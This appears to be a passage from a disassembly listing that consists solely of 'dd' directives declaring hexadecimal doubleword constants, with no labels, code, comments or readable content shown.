		dd 72C1976Dh, 7C2484A6h, 97A3EDFh, 4840F730h, 5000C77Ch
		dd 0A9ADAC8Ah, 299F6F4Bh, 809C9ABEh, 839E658Eh,	89009CACh
		dd 0F17C7504h, 120DDE9Fh, 391C685Fh, 5C380230h,	0CE9D0440h
		dd 0D2BAAD0Fh, 0F5BEE0B0h, 4B5978BBh, 0B26840FCh, 13F09FF2h
		dd 0B0906F1Dh, 0BF266481h, 4ECDF88h, 48800E3Ch,	1720433Ah
		dd 18F1A97Ch, 0B1BB2800h, 3F1CB57Ah, 0F623ECFBh, 0AD0D001Ah
		dd 94EDE8Dh, 68066C12h,	16448692h, 28840621h, 1187F33Fh
		dd 0C38CE400h, 0B4EDB9F1h, 0F4D8016Ah, 0A3EAB7AFh, 0B07460FCh
		dd 0E531644h, 0DA7307DBh, 2143B58Fh, 48D6A7D1h,	34404095h
		dd 24E8955Eh, 0D10C8496h, 41989FA4h, 85F8B129h,	0C2610B85h
		dd 0A0DAB522h, 0CD560700h, 0C5CAE47Dh, 0E5D7AFAh, 0E838CB55h
		dd 0A883486Eh, 5480C0C4h, 26021933h, 874A4D01h,	3BE0D6E4h
		dd 0E598FF80h, 82CF0CCCh
		dd 0C080E313h, 0F7857000h, 5860CE10h, 3F064CE6h, 0B61EB41Ch
		dd 82DB7900h, 0C2AA4EBDh, 232C00B5h, 29FD422Dh,	28005777h
		dd 9712AE8Ch, 0FB3E54h,	0A6D4041Ch, 0D75DCE33h,	48E06C60h
		dd 4E991F76h, 694D09Fh,	73014D2Bh, 0DC74C1B4h, 5DD47ADBh
		dd 7EC000B9h, 0ED79A6F4h, 0E61E376Ah, 9282CD9Ah, 74693803h
		dd 0E0AD006Ch, 0F616FD66h, 8A34103Dh, 0B035C625h, 781B5A80h
		dd 41C1EF9h, 0BC715539h, 9F04A206h, 0A710028Eh,	0B6A0B849h
		dd 1DEB52C9h, 2F44946Bh, 0C0275BC3h, 433C681Dh,	881300D3h
		dd 8A5E06FDh, 6B001BE0h, 0C567CECCh, 720518B5h,	0B679046Eh
		dd 0AC2EF0CFh, 0E3570058h, 6D1C8593h, 1A7FC12h,	340C8DE7h
		dd 6F4144F1h, 3B38B460h, 5F5200E9h, 916A19F4h, 0B94CA293h
		dd 25444DF9h, 1B870F3h,	76283F5Bh, 34176125h, 9891A35Ch
		dd 10B443Bh, 3E7B53C8h,	0C457B3B2h, 0D2046950h,	44D9470Fh
		dd 0C77E3CC0h, 3649830h, 4A1E885Ch, 3DC8778Ah, 232E5D95h
		dd 91306C4Bh, 1B521FCh,	0E5754726h, 0DDDDC27Dh,	0D43687h
		dd 67BE8DD4h, 9C4E3Ah, 0CA19A1B5h, 743EF826h, 0AFA60D03h
		dd 0F281D762h, 0C052B7h, 0A3A91C5Fh, 0E4468A78h, 23054B00h
		dd 52E02DEEh, 45320011h, 0F38C647Eh, 561FEB4Ch,	8ACB1BA1h
		dd 0CE0CA518h, 6AA62C0Fh, 248498BFh, 40A8C5E1h,	95FB491h
		dd 0DC809040h, 5A22753Fh, 0F809A47Ch, 8E964025h, 0C221C07Ch
		dd 3012F350h, 4738A524h, 4A04E314h, 925C26CBh, 0DA0068F9h
		dd 704D7FD8h, 0CD5CD71Bh, 0E9100394h, 0D0EBD0D9h, 1651375Bh
		dd 631CFB3h, 4C2AFA2Ch,	39FD8406h, 9932C0h, 501C02FFh
		dd 0BAF3BC45h, 0EBA5C504h, 9CDC42B4h, 0C0F501DBh, 814C3D7Fh
		dd 10933EBCh, 9C2800D8h, 0E1C7B3D7h, 69504057h,	0EE000BA0h
		dd 6AC6B0DAh, 2690BAFFh, 90EC86C7h, 441E7BE2h, 0DFC2EFB0h
		dd 0C0D8600Ah, 97FA4h, 72CE9C4h, 733AAC24h, 0F0A4584Ah
		dd 28F8C0AFh, 57CA9AA7h, 4318020Bh, 8076889Fh, 73CB6F1Ch
		dd 6744C0E4h, 0F58904AFh, 0E5066237h, 0E42C6564h, 71072CFFh
		dd 9D5C0FCEh, 835388E2h, 0D87CD2DCh, 0C8FD1B8h,	4FE3CBFBh
		dd 4B099880h, 889ED07Ah, 0B21CB898h, 3411EC92h,	2C604C40h
		dd 939E30C4h, 4EE05A80h, 27DB3A1Bh, 2CE443A9h, 0D072BF2Eh
		dd 7F63A000h, 1DC89F83h, 0C21777CFh, 0A3DEB53Bh, 0A50440FEh
		dd 640036DCh, 1F194387h, 8506F898h, 0A6F23C25h,	0FA840911h
		dd 0B870666Bh, 27215B1Eh, 0A928039h, 0DD4A3A0Ch, 68FB4C61h
		dd 0A5987A00h, 39C78067h, 5A770825h, 3B8E009Ch,	0F99D6DC5h
		dd 8FEA7181h, 0DCF4A54Ah, 0FD2A0046h, 0DA0CA8B3h, 18B6C66Ch
		dd 87E5D081h, 842216BBh, 8EEB430Ah, 316096BCh, 0F16D3Ch
		dd 3E305C7Dh, 530070FBh, 68E7D18Fh, 640039C2h, 0B5294A27h
		dd 1326E85h, 0D25D0A30h, 0CCE4362Eh, 0EF3E8FA7h, 0DDAE806Ch
		dd 0A142E3ACh, 0C754052Bh, 805D0C83h, 7724B158h, 6B376600h
		dd 0E601CE6h, 0F4B8254Eh, 0D33B6C40h, 4B89AE00h, 80EE76ECh
		dd 0D64A007Dh, 1C2DBAF6h, 8F0B8142h, 80DE6EFEh,	0B2140B5Dh
		dd 1A1748Eh, 0CFB0E122h, 0DC6E30A4h, 0E00972C7h, 0F46DE251h
		dd 0A40F1364h, 8097260Ch, 9685D170h, 0FA7C00C9h, 64E373A0h
		dd 0CD27C32Dh, 593849EEh, 687A07Ch, 300A312Fh, 0C16BD4ECh
		dd 0DDF40850h, 0C0F86400h, 0D19E3C40h, 97E47068h, 2347C40h
		dd 17817858h, 23AAA6h, 5523C89Ah, 0A80DFE0Eh, 0B4A926F4h
		dd 0E89C04Ch, 0D8018D47h, 3834C128h, 0C0C26A1Bh, 0CB5734h
		dd 5C4DF661h, 0BA42F12Fh, 217C731Ch, 84FB8740h,	3E1B740Eh
		dd 37956AC1h, 9926FC2Ah, 5164006Ch, 0B208A8E1h,	43C8B805h
		dd 6CC3393Eh, 59BFF877h, 16950066h, 4054D79Ah, 0B538AA32h
		dd 460B80D6h, 7DC1F09h,	0EEC0E12Fh, 5FFD006Fh, 0E108F86Dh
		dd 864B9814h, 6112BCC0h, 0B9FF801Ah, 3F0E0F98h,	2033E8h
		dd 98088CEFh, 6E7187Ch,	94C98AAh, 30B4644Ah, 26FEACh, 841F250Ah
		dd 0B9A4E5EAh, 580C3B00h, 32C320FEh, 99C98B8h, 0F26B6255h
		dd 0CD029070h, 184FE989h, 0B46C4169h, 260FC8h, 58CFF52Ch
		dd 0A8F98B11h, 4C333Ch,	0EB22AFA2h, 89DE6Fh, 0D8BF40F4h
		dd 2DB0DDA1h, 0D03F6C00h, 0C4BCAEDFh, 22DAA094h, 0DAEA86h
		dd 0B5FB5E7Ch, 0A8F69792h, 485B6B00h, 0F98874EAh, 28FC6Ch
		dd 606EA786h, 988BD8F2h, 6AAB431Dh, 0F07DDC40h,	0EEECDFh
		dd 0D6501D9Bh, 812BB6C2h, 7620C400h, 0FD802A32h, 104148CDh
		dd 591E6F01h, 708915C2h, 2E0082CCh, 0DF297625h,	2D3809Bh
		dd 630D0343h, 0A4D48D6Dh, 5E5C3980h, 79CFA664h,	126AE666h
		dd 90F0C11h, 60030620h,	0A4C43Dh, 63425AF6h, 48B2D0h, 78C687B6h
		dd 0F16557FAh, 3F25A600h, 8E5E1E71h, 40F33DDCh,	0C1840B00h
		dd 5B297438h, 1A7D739h,	6011730Ah, 0AC34CFAEh, 1F27230h
		dd 765DE213h, 340F99DDh, 1B74AB94h, 34E39A17h, 29B94400h
		dd 95083CFh, 52EA91B6h,	0B300CCFEh, 3A4D18E5h, 0F1F4267Dh
		dd 0DA4C00FDh, 0F26A7E6h, 0B3417F00h, 2956AA88h, 0B2770037h
		dd 28C59AAEh, 5C5FEB13h, 0FCABC4C8h, 2E640152h,	0F5078738h
		dd 20522FA5h, 277CD8E9h, 7040DE63h, 8901C82Bh, 3C8AEBAEh
		dd 0A082CE99h, 0E292291Eh, 0A8344320h, 0CDCA00BDh, 652E6104h
		dd 0B600C99Ch, 0C7F76F7h, 38C392h, 0C779069Dh, 2AFE6304h
		dd 2989427h, 60360B59h,	18FBA5EAh, 0A134C522h, 0AEFA4557h
		dd 0BA4BDF88h, 3D3C00F0h, 5B6A5D48h, 42313311h,	322530D4h
		dd 4F3A70h, 0ACAA3C2Bh,	77DD5D1Ch, 0FFA34205h, 50F82E6Eh
		dd 806B5A71h, 6F28F3ECh, 835BEA05h, 24BC52E7h, 7608D800h
		dd 0E14946B5h, 59CC9502h, 0C15D2769h, 0E6BB9C7h, 1CE15218h
		dd 0A60ABCEEh, 49059098h, 24A987ADh, 2B894D00h,	0C251062Ch
		dd 47CF7801h, 6C5373EAh, 5C7834h, 0F4A6A2A9h, 4ECB90F5h
		dd 1100D575h, 363DFF97h, 0BE8E702Ch, 0D9948B00h, 0F8F4900h
		dd 0E302B05Ah, 571A9913h, 7BC5ED5h, 0D9F8BA21h,	50B96407h
		dd 0FBEA7242h, 70013330h, 16D5B68h, 0E7C45CEEh,	60C9D338h
		dd 4A1DD0A6h, 0FC1BAA6h, 0B8B3B2C1h, 98283BECh,	0E0EA092Ch
		dd 80001F9Dh, 9C0FD2DEh, 0BABF5401h, 0F92007E5h, 75F1A030h
		dd 1E8A09FEh, 908040DEh, 8C431B2Dh, 445840B0h, 1D267797h
		dd 111290B4h, 0A034A009h, 0BE5FA1B4h, 0EFF1E50h, 87228020h
		dd 0BF7D1053h, 7ED03E03h, 80D5A01Fh, 7CD6552h, 2C8D7A4Ah
		dd 17927751h, 785F53BFh, 0A7643801h, 0B8A23FF2h, 0F8642C61h
		dd 0F5B00047h, 0C93C0584h, 9400F180h, 15B97F3Fh, 363F38Ch
		dd 5CDD55E3h, 0D03736A3h, 0E727014h, 930C006h, 234FE3Dh
		dd 7BEB4B5Ah, 4E29A10h,	0B4C2FB00h, 3CB0A7D9h, 4CA57622h
		dd 19F30D6h, 0BBFF5C1Fh, 15C2CF1h, 634DEDCDh, 0B0603C0Bh
		dd 0E47E275Ah, 0AF004470h, 38292EBEh, 0C6EFD4Bh, 0F45E4F23h
		dd 0D106CE38h, 0FBBAB86Ah, 0CC180410h, 0F8CBBEADh, 0AA2100D0h
		dd 7D1D1A93h, 8AC8C001h, 7B10D14Bh, 9500C67Fh, 0A180E5A3h
		dd 0E0C76F04h, 0D2AA075Ch, 0D028F9D6h, 9B64EDA6h, 1D2BE203h
		dd 0F07C4808h, 1A040B1h, 0FCAF70E0h, 0C083C433h, 947CC68Eh
		dd 36995900h, 0C86B3287h, 9155006Ch, 0ED64AFC3h, 0DB09ACECh
		dd 0F6475416h, 0E6B809E4h, 0E5C24F0h, 0B68B0008h, 24E3DADBh
		dd 4DC42871h, 0ED9105B0h, 0ECEE7009h, 0DA9D0220h, 7C0A9747h
		dd 0A8B203E0h, 28D2E2F9h, 0FDC7E05Dh, 43260786h, 6E70531Bh
		dd 823A6560h, 2D72E9E5h, 1FFE1300h, 0A9889B6Ch,	35050ECCh
		dd 0A337F744h, 0F627C1B4h, 242806h, 70E1954Bh, 0B61180C4h
		dd 593441C9h, 0F6FCA0A6h, 0C1568885h, 29E4E80h,	50CD4A0Dh
		dd 30C902F3h, 0DCD03A65h, 746182Dh, 0C15E98Fh, 0F1200CE8h
		dd 0F3583103h, 891A5668h, 18803859h, 0E9443F2Eh, 0F8004A4Eh
		dd 739EB745h, 121801E0h, 0FCC8D6h, 0B0DAF608h, 4D246DABh
		dd 3B0E003Eh, 0CC03E338h, 2F50E8B9h, 50576BAh, 8DC0E9D8h
		dd 0A688011h, 8B07B313h, 0F02C3953h, 0EAFE466Eh, 5C9D0011h
		dd 8559EB68h, 4D00AD74h, 81EEACEFh, 0C0775BE4h,	1A9BFAF9h
		dd 0F4C6223h, 8BC84C53h, 1CC7938h, 5435E045h, 14812FC5h
		dd 6BF9E571h, 8624F462h, 0B0FF1601h, 690517ECh,	944A92FDh
		dd 0EBB068E8h, 0B137D961h, 78E168B6h, 0B450FAB8h, 9F1DE5C5h
		dd 45B22C80h, 0A001B5F9h, 2CCF6821h, 0D8F8AC98h, 46073E95h
		dd 998AC10Eh, 640BE5h, 1C17B7A4h, 78BCEC47h, 8E071E10h
		dd 99B2373Ch, 1FC4C00h,	7612984Fh, 1C001A47h, 6F0CEA38h
		dd 3DF94882h, 31F67100h, 4B0323DEh, 802F9D3Bh, 6B897846h
		dd 3FEA36D4h, 9C804487h, 345BA127h, 4A00C850h, 0A62D1E64h
		dd 9CFD9414h, 31D412B8h, 0B5D354h, 7842C9BCh, 10B10151h
		dd 98568AAAh, 0FB84304Dh, 5E3AF803h, 0C0DCB988h, 3A0636D0h
		dd 390BD55Ah, 7490A0AAh, 0A1007D4Ah, 0AF590DBFh, 4CCF51DCh
		dd 955AB043h, 0A5420490h, 40C0B0B0h, 0F0E4600h,	0D470BB5Fh
		dd 96D7012Eh, 31B04481h, 78B8C12Ah, 63162DB0h, 80394A08h
		dd 0FFA3304h, 7D5A18FEh, 63A62000h, 788CB8FCh, 22FD0003h
		dd 31C2BBB5h, 813346Fh,	0C9426CAh, 0B35020FAh, 0B40C807Ah
		dd 482E9998h, 13700EAh,	0D86392AFh, 0D20544F5h,	0D115350Ah
		dd 5DDF74C8h, 343E2443h, 0C2483C80h, 576C2995h,	62CA2E1Eh
		dd 0E596C300h, 644D12h,	97FABF94h, 0FBC77F90h, 0EEB08900h
		dd 719AC87h, 7B39052Eh,	17A9BEDBh, 34A6A0F5h, 856E6000h
		dd 9542DF1h, 0D6E80001h, 633AC2B3h, 64B0AE2Bh, 4F170A90h
		dd 78E0DFB8h, 2330010h,	1F9F957Ch, 0A200DE61h, 1405E8B3h
		dd 655AE1h, 55D4FBC5h, 269AE9B8h, 0EBA5580Bh, 5EE000C7h
		dd 17B24C60h, 0E8727B6h, 0D4202C77h, 20375241h,	8008D600h
		dd 0B161035Dh, 0EE21C0B9h, 1EA0F7A1h, 2725401Dh, 0A7607100h
		dd 430C738h, 0CA773C4Eh, 18F0928Ah, 0C2C88243h,	0EB008F5Fh
		dd 3E4B856h, 0EC7109DEh, 0CB940084h, 6DEC62D2h,	8577A030h
		dd 6A01C400h, 1D885527h, 63EE07ADh, 5220D358h, 9CE3BBFAh
		dd 23E349D9h, 7C42570h,	67E077A0h, 1D6238CAh, 5023E7B3h
		dd 4A04B20h, 1852E254h,	191B4589h, 37C2787h, 8039C73Eh
		dd 0F133BCC5h, 190E4Fh,	89683224h, 0E910E238h, 44DB3Fh
		dd 14DDDCEAh, 0EE8226D2h, 63DF165Bh, 64ACF115h,	4A0ED7BCh
		dd 409B10FDh, 7B31FA87h, 0F9680117h, 95572DBBh,	2F5DD0F0h
		dd 58C0354Ah, 1E49D4Fh,	4BCAA972h, 3EC2CE8Ch, 0C2753482h
		dd 70A0D5D9h, 0C0C488C8h, 51F94100h, 0DA4B0C9Dh, 9CDE0929h
		dd 94F6FAEBh, 3A3D8E01h, 0C8705C11h, 79EFA98h, 28BBA8D9h
		dd 0BC49D42Bh, 0DFF20B30h, 8856B0h, 0DE3D7545h,	11CF2687h
		dd 0A7B30F0Dh, 5E09DB52h, 314A44DCh, 7B00E19Bh,	830027E0h
		dd 0E91CEAD4h, 0B80DAF08h, 0A2BE3DCAh, 0F4003DD8h, 0E424439Dh
		dd 0BC0647E3h, 3F623DEEh, 15421D78h, 0E94359F6h, 0DA7360FFh
		dd 0EE9F60C0h, 0E81030h, 363D7E1Ah, 0A212EC51h,	0E0D22BE7h
		dd 935800C2h, 0C1B5DAE1h, 7CC04E10h, 0E27800B9h, 5F47BC77h
		dd 3F008848h, 5939216Eh, 95358D82h, 7A78E8E8h, 0D90C2C0Eh
		dd 0CEEBA7EEh, 0F5B00707h, 1568330h, 38F2CAA8h,	3031EDDEh
		dd 5E7A1260h, 9498CA8h,	3FA0C400h, 0A23C6FD4h, 0F26E000Eh
		dd 139FF623h, 5B1C95DEh, 0EFC03EACh, 0DAFEAB28h, 0D2A305h
		dd 4FF62240h, 990C9B7Ch, 59C3C9F6h, 0B828CE53h,	54F845h
		dd 0CB1B2249h, 5B3D4773h, 603F7916h, 56221CADh,	91FAF000h
		dd 0B82DE0A6h, 735A0282h, 0C4FF887Dh, 0AF128260h, 1D03E4Ch
		dd 0DA365994h, 0E1D09339h, 483D006Ch, 2C14EEA7h, 7A0F0CFFh
		dd 356DA23h, 0F8D2D890h, 0A7E140h, 0D6E61576h, 0A44DEF30h
		dd 90754C31h, 0D910733Eh, 1D05ADE9h, 0B709FAD6h, 40AEE080h
		dd 0A05C1751h, 0BC7C033Eh, 991D3105h, 0B5068E3Ah, 1640AD6Dh
		dd 0FCFCDE68h, 0EBE52408h, 0C90CC603h, 87D3Ch, 322C74FDh
		dd 3B694A8Eh, 600167E8h, 6B4E99E9h, 65F08C2Eh, 1A6F838h
		dd 4B9B2D9Fh, 0E0982F9Ah, 7AE80A24h, 498B10C0h,	0CCE952h
		dd 0D541294Eh, 901901D0h, 3C6D7B04h, 7FC0B299h,	1E98748Fh
		dd 3E4A9B2Bh, 9C768903h, 4CC18A39h, 3007D338h, 6BB48B37h
		dd 2C409187h, 167941Dh,	4FDC359Eh, 49DD3F9Fh, 0BB041E64h
		dd 0A896B2E0h, 839210CFh, 3BB17Bh, 0CB61DC21h, 2862B525h
		dd 9ABDCD19h, 21802908h, 6ACB69FBh, 190CCF4Fh, 59C7B5D9h
		dd 1F837BC2h, 9B2AA175h, 9DE06115h, 5400EC89h, 74D71BAEh
		dd 1E9082Bh, 8072EEB1h,	2F556046h, 7A3FEFE0h, 4CC7504Eh
		dd 6F0F8C7Dh, 0B1B523CBh, 0FD802188h, 0BC69CB97h, 544A1CC0h
		dd 0FE8340DDh, 7D05FABh, 6B8D800h, 278FB952h, 59363EEBh
		dd 1838CB18h, 5A142FC9h, 690CA83h, 0D8D55785h, 5BB100C8h
		dd 0DCDA041Ch, 0EC15C962h, 1A40BFEh, 6F7B212Ch,	0C0990E85h
		dd 8035098Dh, 7B194C21h, 1F04CB4Ah, 0CA3F5521h,	818CD0B0h
		dd 2F9DDD66h, 6DCC4858h, 38F3A0C4h, 1902FF06h, 71A70B00h
		dd 0A9B3A396h, 0EFAB0C30h, 0E690E73Fh, 7B27048Ch, 623E8565h
		dd 1F462031h, 0E30EF67Bh, 17AA1C0h, 0B32216F3h,	2833A07Fh
		dd 85D578C2h, 0D80C01D1h, 0CFF048BCh, 900D689h,	88153F67h
		dd 8AE07805h, 2F86C8D2h, 0C79095Fh, 0A0D16785h,	0B14CD38h
		dd 3A8EEBCh, 43AF4FC7h,	1F3DE329h, 0CF479C39h, 4440375Fh
		dd 73441F2h, 6C6798C0h,	306D3C33h, 0E9A1CDE4h, 6E01199Fh
		dd 8BA8052h, 898F84Ah, 0E71021E0h, 7299190Fh, 0D8E4E6D3h
		dd 58FF0019h, 34E671F8h, 83030760h, 6D48DEB7h, 42BF3AFh
		dd 796605B9h, 512F03BCh, 0E519283Ah, 24290024h,	25EFF3B3h
		dd 0A11E78D4h, 8A54B143h, 0E3C1468h, 4F8781F0h,	0F08345F9h
		dd 0C0980633h, 0FC04F2E7h, 4FBF8881h, 0A69210B7h, 3CC80662h
		dd 20FBD02Ch, 0A9878B0Dh, 4AF090A8h, 0C588A004h, 0CC3F24B9h
		dd 414C0264h, 98805D08h, 94D798C7h, 70814663h, 3A6A00Fh
		dd 3E20DE5Ch, 0DA141C08h, 8C7387BEh, 0ED405FE3h, 0CC484738h
		dd 9921AF08h, 988C7B00h, 941A2C33h, 546C069Bh, 50024FA1h
		dd 0FDEF4700h, 2A33F803h, 366719Ch, 0B8526754h,	0A07C3ACBh
		dd 6DC9B319h, 0E45897B8h, 741908E5h, 0A70F052h,	2D1903EDh
		dd 0E40BDEA7h, 1ADC409Ch, 372EFB3h, 0FE4204F2h,	3AC00EAFh
		dd 9174C49Fh, 90C0AA0Dh, 2C243182h, 63048C79h, 72B527CBh
		dd 0F9809867h, 862ACB6Bh, 5397093Bh, 0D0202FB9h, 0D4ED7B51h
		dd 181FA4A1h, 9E8C046Eh, 2CEE9B5Fh, 8C76009Ch, 0F4A82E86h
		dd 6C1994F9h, 9F712DB2h, 85DEC0h, 0E0ED961Bh, 0FED92EADh
		dd 35B8A00Ch, 2A8078D6h, 9A8DDFFh, 0F6985BB5h, 88101001h
		dd 2F498DC0h, 19E07155h, 50BAFACDh, 8C6CBC28h, 71119E7Fh
		dd 0DE888852h, 19E60F80h
		dd 3EB5FC48h, 6960BC23h, 0C715130h, 17C1A52h, 5FE58C75h
		dd 0AA0CED43h, 197D8788h, 18DA0F8Ch, 1E9C42D8h,	148C7130h
		dd 20635FE1h, 9B80A088h, 1CB78C79h, 2DDA140Ah, 2830FEADh
		dd 9CE744F1h, 0F43E293Ah, 43025C00h, 0FD865B58h, 0D7A900BDh
		dd 0AC9D6580h, 0D8187A96h, 0FF59D3B3h, 0F094A804h, 1E5B0024h
		dd 6CE2CBAFh, 0EC3AFA3Fh, 2F2A8D68h, 6EF008B7h,	26217C72h
		dd 4094E466h, 0F17668F2h, 0BDEA261Fh, 0A319CF18h, 285A01FEh
		dd 6D61E2F5h, 77402059h, 0CB65048Ch, 6242B529h,	6DF72024h
		dd 263EB3CBh, 0B5A8021Fh, 81E8AC53h, 840A83C4h,	301BA442h
		dd 0E2108C72h, 98E07B5Fh, 3D038C7Ah, 0D172971Eh, 0E498AD71h
		dd 913498CBh, 0D50A3CCCh, 4746E89h, 80596049h, 0D6E59680h
		dd 0D95619C0h, 6067F821h, 0A885F27Dh, 521D408Fh, 4FCBBA38h
		dd 0B30026F5h, 18D5EEE0h, 0C8DC9023h, 0EA79197Ch, 51CC8D31h
		dd 5DE19D29h, 28679CD0h, 83C01B7Ch, 7460E1BCh, 57155980h
		dd 0EE77E5B9h, 48A56898h, 0B60AEE4h, 57E83ED5h,	4F3FC013h
		dd 0A109DC23h, 543234FCh, 7830E1F2h, 8B4F2E36h,	0DCAE0C3Bh
		dd 0D912B771h, 0DC0C2583h, 0B12438CCh, 18DFD168h, 9C8403F9h
		dd 2613D9BFh, 0FC54500Bh, 0F55C82AEh, 0FF0B0F89h, 0F42C010h
		dd 4E070517h, 90513002h, 6400C7EFh, 0F7FE60A3h,	15C7461h
		dd 0CAF2C5D9h, 70196F3Dh, 71D00FA0h, 93B11E90h,	43BCDCACh
		dd 0E230DDA2h, 7FA117F3h, 0D64C225Bh, 0A737B222h, 0E05FDED4h
		dd 0D1317787h, 4E8C2E55h, 80E9118Ch, 85647B26h,	33448C36h
		dd 7B1E0049h, 0C2F9E2F8h, 0D0BECA7h, 9980D59Ch,	9026B884h
		dd 0A0209014h, 6F028C73h, 935F9F8Ch, 10AB19EEh,	0E88C779Dh
		dd 51E09D79h, 0EE309058h, 0D52CC9D8h, 3DC12887h, 0BFDC4438h
		dd 0CD0BB114h, 9C5900F4h, 93CBD37Ch, 2BF12651h,	26902844h
		dd 1F586FE6h, 24160096h, 0C3BC67E4h, 0EB8B048h,	19472FF1h
		dd 6C40E5F1h, 94FE464h,	0D2D662EDh, 9866C424h, 0B2067FB8h
		dd 67BF524Fh, 4C155060h, 65070C62h, 0B528D0B7h,	2330DA59h
		dd 19E1016Bh, 18905270h, 0E90E88E2h, 45EE1900h,	8D24E1D2h
		dd 0D8510C9Ch, 0C1F021BFh, 0D05F9A06h, 4910D297h, 0AAACF856h
		dd 675E018Ch, 361F4A66h, 0B487017h, 26B01C5Dh, 470AF46Dh
		dd 70AC943Eh, 0B50411Dh, 0D822BC4Dh, 65173F12h,	3688C08Bh
		dd 0E013F2C3h, 643403B5h, 0C2B678F9h, 0B0339634h, 43527719h
		dd 0EC0980F8h, 165B4119h, 50DFD444h, 0E5ECC0F0h, 0AB74038Ch
		dd 98593912h, 53D11DB0h, 92BA91Bh, 6BD0B1F8h, 74E40AD2h
		dd 0EF02DE46h, 3FFF9CE3h, 616084AFh, 45CCEBF8h,	0C232E900h
		dd 9AA3AF0Ah, 67C0085Bh, 0AB80D5E5h, 3859B1EDh,	0F6440088h
		dd 0A02CA7C8h, 0C98030B3h, 0E6CD0033h, 0A380E558h, 0A0B3A34h
		dd 6BAC4B2h, 949EDA8h, 15D2FD9h, 1041F062h, 7B2418EBh
		dd 2685237Bh, 4B003211h, 11017B1Ch, 4601F45Ch, 5F9C1BC1h
		dd 5424EF80h, 0D215242Ah, 71EE8034h, 0AF025E97h, 0E7F3F05h
		dd 18D29C88h, 93F120D7h, 820083E1h, 95430B90h, 2694AE17h
		dd 1174E38Bh, 0AFD811D0h, 79677C78h, 8CD528CEh,	0A9520910h
		dd 50213B8Bh, 73D4ED4Bh, 30ACA2ACh, 351FB743h, 245841F2h
		dd 0FD89C750h, 28195864h, 18D315h, 4E610905h, 83B63BA3h
		dd 42F69F02h, 79ED0B50h, 18227928h, 7E6D074Eh, 59BE2039h
		dd 1F330018h, 0E7689D00h, 0FE5FB25Bh, 81E61FC3h, 66E174Fh
		dd 99D61550h, 2D4E8000h, 0EE8D32A6h, 0E5B0EFAh,	8CC43B09h
		dd 30D88407h, 0BDB2CBC0h, 0D41A8F00h, 6EF45879h, 99611BA3h
		dd 0C923A03Bh, 0CB60017Ah, 186AB524h, 68FA8826h, 3B8DCB03h
		dd 0EA678582h, 53C4C0DAh, 0C3B82750h, 24A3482h,	448324C2h
		dd 34E38AD5h, 6949E978h, 19E380ACh, 87E05272h, 19EB8538h
		dd 548158F6h, 0D073D084h, 95C8C10h, 982BA008h, 29079D8h
		dd 8010BC19h, 70786D87h, 0C076E8C8h, 0B528CB64h, 81D84A53h
		dd 0D7CB6CF6h, 4071EF4h, 0E5F9FF68h, 2A1240DBh,	1FD3B4D0h
		dd 0C5E141h, 843FFBFFh,	0C8FD4A3Bh, 5C260BB5h, 0A1107CCFh
		dd 0E6A27C42h, 79A830h,	90E47A40h, 1011611Eh, 0E9DE1530h
		dd 0E037BC48h, 0F15E13C7h, 8042CBDh, 56E89C86h,	0DB1D3946h
		dd 0C8B250Ch, 235D5C80h, 724B69E4h, 0A04B1413h,	6088925Bh
		dd 0B0679C9Ch, 6EE22494h, 388747E4h, 2BB52982h,	1B058A8h
		dd 1F08BC8Dh, 229DFB5Eh, 95CB3DECh, 0C435B3h, 0CF52588Ah
		dd 1837F47Ah, 799685A7h, 528A0A46h, 4D3F1B5Ch, 0B8693936h
		dd 0AC644990h, 0ABBC0428h, 74EA018Ch, 23A1526Ch, 0FE38202Bh
		dd 1100F099h, 4CAA9FF0h, 6F2A0007h, 0F4B45D6h, 587ED0CBh
		dd 52290160h, 244AB0ADh, 3E5BFB89h, 11D29400h, 0CB9D29D9h
		dd 0CFC1F094h, 0E0389A0Fh, 0C8C29BCh, 5FF2E49h,	9D005E79h
		dd 0FCCE5032h, 2C25DB18h, 7CA0F8CCh, 6700DE46h,	0A4049CCAh
		dd 0D504FF3Ah, 0A3B15603h, 969DB081h, 18CEC042h, 41C0D9E5h
		dd 0B2B45A6h, 0D8EA00A2h, 1D5AA480h, 0FF09B6DFh, 98FA3E2Ch
		dd 0BC6470h, 0BD2EC163h, 813B19DCh, 9247393Fh, 2C302FA8h
		dd 0B4F7B9C7h, 3A741308h, 8C79C8h, 0A45BA0D7h, 885FF190h
		dd 0A2C87B2Dh, 0B3A2FA0h, 0DF880C0Fh, 24083C24h, 65330B32h
		dd 3491B017h, 0BD406480h, 0E44C1D29h, 4C338168h, 22D47AC7h
		dd 4D1BF65Fh, 3858A43Dh, 20412437h, 0D68B7D8h, 0C2F10D7h
		dd 4200A323h, 98E9EE9Ch, 1E7B0067h, 0D86F0608h,	6600E17Fh
		dd 6DA15D82h, 94699C59h, 35BA40A0h, 4D00B70Ah, 2F744E8Ch
		dd 0E6DCEB3h, 10F9C19h,	0F2BF9F04h, 3AB0008h, 2FD791C4h
		dd 4109952h, 0C2AC2A75h, 0B222DCE4h, 0D3C8A031h, 35DE908h
		dd 41A815F5h, 1BC247BBh, 0C41FF42h, 0BC4068D0h,	28FA8CAEh
		dd 4F09D771h, 4153D050h, 5021596Ch, 14262421h, 10926049h
		dd 0C5A71070h, 20681254h, 2CB27C74h, 0BCC9CBh, 7324692Dh
		dd 5A662FD8h, 3B014376h, 0AC222955h, 0ABA25C73h, 0BBBC4030h
		dd 0B0172708h, 0FE8F2391h, 0A96B8A00h, 0DF7CC589h, 0F49871F6h
		dd 74054884h, 4B5FE48Ch, 8600A4CEh, 4AEF8C7Ch, 0F4BCD9AEh
		dd 0D15F8560h, 130898DFh, 0D16DD347h, 9F33B200h, 0FD805989h
		dd 0A68334BDh, 30570497h, 3A50BE7Fh, 9101AF23h,	0BDABEF55h
		dd 5286130h, 4782543Fh,	0B324E0D9h, 294320h, 7CFC024Bh
		dd 0B17DD854h, 0C806BB03h, 0F4A16D17h, 1240B49Ch, 483962Eh
		dd 0B37CB2E0h, 0FCC50CC8h, 7C60D9CDh, 25825EB3h, 9B2F0068h
		dd 99DDC2CEh, 88E71600h, 0C38978CCh, 3F4006Eh, 75FD1069h
		dd 9B008390h, 0A45A06CBh, 0ECD8950h, 0E5517154h, 70D6680h
		dd 0F2766D2Fh, 4A649A0Fh, 87C90305h, 0A8BDE37Ch, 3E1D45h
		dd 0CBB59815h, 0EF9C5A1Eh, 0C1F94B00h, 55FDCE6Bh, 43185C7Ah
		dd 0CC519600h, 9B16C324h, 599ED901h, 5C3FCEC9h,	0E51EAC6Dh
		dd 0FC60B27h, 582B8C81h, 8122AF5h, 4A00746Eh, 28AD395Ah
